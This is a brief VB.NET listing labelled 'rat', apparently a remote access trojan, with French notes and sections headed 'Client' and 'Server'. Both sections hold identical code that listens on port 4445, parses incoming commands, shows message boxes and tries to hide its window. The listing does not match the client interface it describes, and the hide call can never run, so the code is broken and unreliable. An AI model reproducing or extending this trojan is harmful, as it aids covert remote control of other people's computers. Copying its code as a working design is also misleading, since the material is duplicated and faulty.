rat
------Client: 3 text box (1er: ip, 2eme: port, 3eme: command), 2 buttons (1er: connect, 2eme: send command)
------
Imports System.Net
Imports System.Net.Sockets
Imports System.IO
Imports Microsoft.Win32
Public Class Form1
Dim port As Integer = 4445
Dim sock As New TcpClient()
Dim tcpc As New TcpListener(port)
Dim place As String
Private Sub listen()
Try
tcpc.Start()
sock = tcpc.AcceptTcpClient()
Catch ex As Exception
End Try
End Sub
Private Sub check()
If sock.Connected = True Then
sock.SendTimeout = 5000
Try
Dim nstream As NetworkStream = sock.GetStream
Dim bit(sock.ReceiveBufferSize) As Byte
nstream.Read(bit, 0, CInt(sock.ReceiveBufferSize))
Dim str As String = System.Text.Encoding.ASCII.GetString(bit)
Dim id() As String = Split(str, "*", -1, CompareMethod.Text)
If id(0) = 0 Then
Dim stri As String = id(1)
Dim str2() As String = Split(stri, "/")
If str2(0) = 10 Then
MessageBox.Show(str2(1))
End If
End If
Catch ex As Exception
check()
End Try
End If
End Sub
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
While sock.Connected = False
Try
listen()
Catch ex As Exception
End Try
End While
While True
check()
End While
Me.Hide()
End Sub
End Class
-----
Server:
-------
Imports System.Net
Imports System.Net.Sockets
Imports System.IO
Imports Microsoft.Win32
Public Class Form1
Dim port As Integer = 4445
Dim sock As New TcpClient()
Dim tcpc As New TcpListener(port)
Dim place As String
Private Sub listen()
Try
tcpc.Start()
sock = tcpc.AcceptTcpClient()
Catch ex As Exception
End Try
End Sub
Private Sub check()
If sock.Connected = True Then
sock.SendTimeout = 5000
Try
Dim nstream As NetworkStream = sock.GetStream
Dim bit(sock.ReceiveBufferSize) As Byte
nstream.Read(bit, 0, CInt(sock.ReceiveBufferSize))
Dim str As String = System.Text.Encoding.ASCII.GetString(bit)
Dim id() As String = Split(str, "*", -1, CompareMethod.Text)
If id(0) = 0 Then
Dim stri As String = id(1)
Dim str2() As String = Split(stri, "/")
If str2(0) = 10 Then
MessageBox.Show(str2(1))
End If
End If
Catch ex As Exception
check()
End Try
End If
End Sub
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
While sock.Connected = False
Try
listen()
Catch ex As Exception
End Try
End While
While True
check()
End While
Me.Hide()
End Sub
End Class